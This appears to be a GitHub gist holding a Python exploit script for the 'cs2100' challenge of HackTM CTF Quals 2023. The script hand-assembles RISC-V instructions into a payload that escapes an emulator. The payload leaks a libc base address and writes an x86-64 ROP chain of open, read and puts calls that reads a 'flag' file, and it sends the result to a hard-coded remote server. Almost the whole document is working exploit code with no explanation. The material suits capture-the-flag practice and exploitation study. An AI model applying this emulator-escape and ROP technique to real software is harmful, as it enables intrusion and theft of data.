Skip to content

Instantly share code, notes, and snippets.

@k1R4
Created February 22, 2023 13:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save k1R4/7b02827e9291fb43635ce8ef659c5bbd to your computer and use it in GitHub Desktop.
Save k1R4/7b02827e9291fb43635ce8ef659c5bbd to your computer and use it in GitHub Desktop.
cs2100 - HackTM CTF Quals 2023
#!/usr/bin/env python3
from dn3 import *
from pwn import ELF
from binascii import hexlify
libc = ELF("libc-2.31.so", checksec=False)
#opcodes
LUI_ = 0x37
LTYPE = 0x3
ITYPE = 0x13
STYPE = 0x23
RTYPE = 0x33
RTYPE_64 = 0x3b
#funct3
F3_LD = 0x3
F3_SD = 0x3
F3_SW = 0x2
F3_ADDIW = 0x0
F3_ADDSUB = 0x0
F3_SRI = 0x5
F3_SLLI = 0x1
#funct7
F7_ADD = 0x0
F7_SUBW = 0x20
F7_SRLI = 0x0
#registers
ZERO = 0
RA = 1
SP = 2
GP = 3
TP = 4
T0,T1,T2,T3,T4,T5,T6 = 5,6,7,28,29,30,31
S0,S1,S2,S3,S4,S5,S6,S7,S8,S9,S10,S11 = 8,9,18,19,20,21,22,23,24,25,26,27
A0,A1,A2,A3,A4,A5,A6,A7 = 10,11,12,13,14,15,16,17
def INS(opcode,funct3=0,funct7=0,rs1=0,rs2=0,rd=0,imm=0):
ins = 0
ins |= (opcode&0x7f)
ins |= (funct3&0x7) << 12
ins |= (funct7&0x7f) << 25
ins |= (rs1&0x1f) << 15
ins |= (rs2&0x1f) << 20
ins |= (rd&0x1f) << 7
ins |= (imm&0xfff) << 20
return ins
def LD(rd,rs1):
ins = INS(LTYPE,F3_LD,rs1=rs1,rd=rd)
return p32(ins)
def SD(rs1,rs2):
ins = INS(STYPE,F3_SD,rs1=rs1,rs2=rs2)
return p32(ins)
def SW(rs1,rs2):
ins = INS(STYPE,F3_SW,rs1=rs1,rs2=rs2)
return p32(ins)
def ADDIW(rd,rs1,imm):
ins = INS(ITYPE,F3_ADDIW,rs1=rs1,rd=rd,imm=imm)
return p32(ins)
def LUI(rd,imm):
ins = INS(LUI_,rd=rd)
ins += (imm&0xfffff) << 12
return p32(ins)
def ADD(rd,rs1,rs2):
ins = INS(RTYPE,F3_ADDSUB,F7_ADD,rs1,rs2,rd)
return p32(ins)
def SUBW(rd,rs1,rs2):
ins = INS(RTYPE_64,F3_ADDSUB,F7_SUBW,rs1,rs2,rd)
return p32(ins)
def SRLI(rd,rs1,imm):
ins = INS(ITYPE,F3_SRI,F7_SRLI,rs1,rd=rd,imm=imm)
return p32(ins)
def SLLI(rd,rs1,imm):
ins = INS(ITYPE,F3_SLLI,rs1=rs1,rd=rd,imm=imm)
return p32(ins)
def MOV(rd,imm):
upper1 = int(imm/0x1000)
if(upper1%2 != 0):
upper1 = int(upper1/2)
upper2 = upper1+1
else:
upper1 = int(upper1/2)
upper2 = upper1
lower = int(imm%0x1000)
return flat([
LUI(rd, 0),
LUI(rd,upper1+upper2) if upper1+upper2 <= 0x7ffff else LUI(30,upper1)+LUI(31,upper2)+ADD(rd,30,31),
ADDIW(rd,rd,lower)
])
def WRITE_LIBC(offset):
return flat([
LUI(A3,0),
MOV(A4,offset),
ADD(A3,A4,A1),
SW(T2,A3),
ADDIW(T2,T2,4),
SW(T2,A0),
ADDIW(T2,T2,4)
])
def WRITE_VAL(val):
return flat([
MOV(A3,val),
SD(T2,A3),
ADDIW(T2,T2,8)
])
def WRITE_REG(rs2):
return flat([
SD(T2,rs2),
ADDIW(T2,T2,8)
])
pop_rdi = 0x23b6a + 0x1000
pop_rsi = 0x2601f
pop_rdx = 0x142c92 + 0x1000
bss = 0x1f0000
# A0 => upper 32 bits of libc
# A1 => lower 32 bits of libc
# A2 => addr of "flag" on stack
# A3,A4 => tmp registers
# T2 => location to write payload to
payload = str2bytes(flat([
MOV(S0,0x80100000),
LD(A2,S0),
ADDIW(S0,S0,0x100),
MOV(T1,upk(b"flag")+0x1000),
SD(S0,T1),
MOV(T2,0x80100018),
LD(A0,T2),
MOV(T1,0x24083),
ADD(A1,A0,ZERO),
SUBW(A1,A1,T1),
MOV(A5,0x10000),
SRLI(A0,A0,24),
SRLI(A0,A0,8),
WRITE_LIBC(pop_rdi),
WRITE_REG(A2),
WRITE_LIBC(pop_rsi),
WRITE_VAL(0),
WRITE_LIBC(libc.symbols.open+0x1000),
WRITE_LIBC(pop_rdi),
WRITE_VAL(3),
WRITE_LIBC(pop_rsi),
WRITE_REG(A2),
WRITE_LIBC(pop_rdx),
WRITE_VAL(0x40),
WRITE_LIBC(libc.symbols.read+0x1000),
WRITE_LIBC(pop_rdi),
WRITE_REG(A2),
WRITE_LIBC(libc.symbols.puts),
WRITE_LIBC(libc.symbols.exit+0x1000)
]))
f = open("opcode", "wb+")
f.write(payload)
f.close()
host, port = "34.141.16.87",10000
if len(sys.argv) > 1 and sys.argv[1] == "-r":
io = remote(host,port)
DeathNot3(io)
sla("):\n", hexlify(payload))
interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment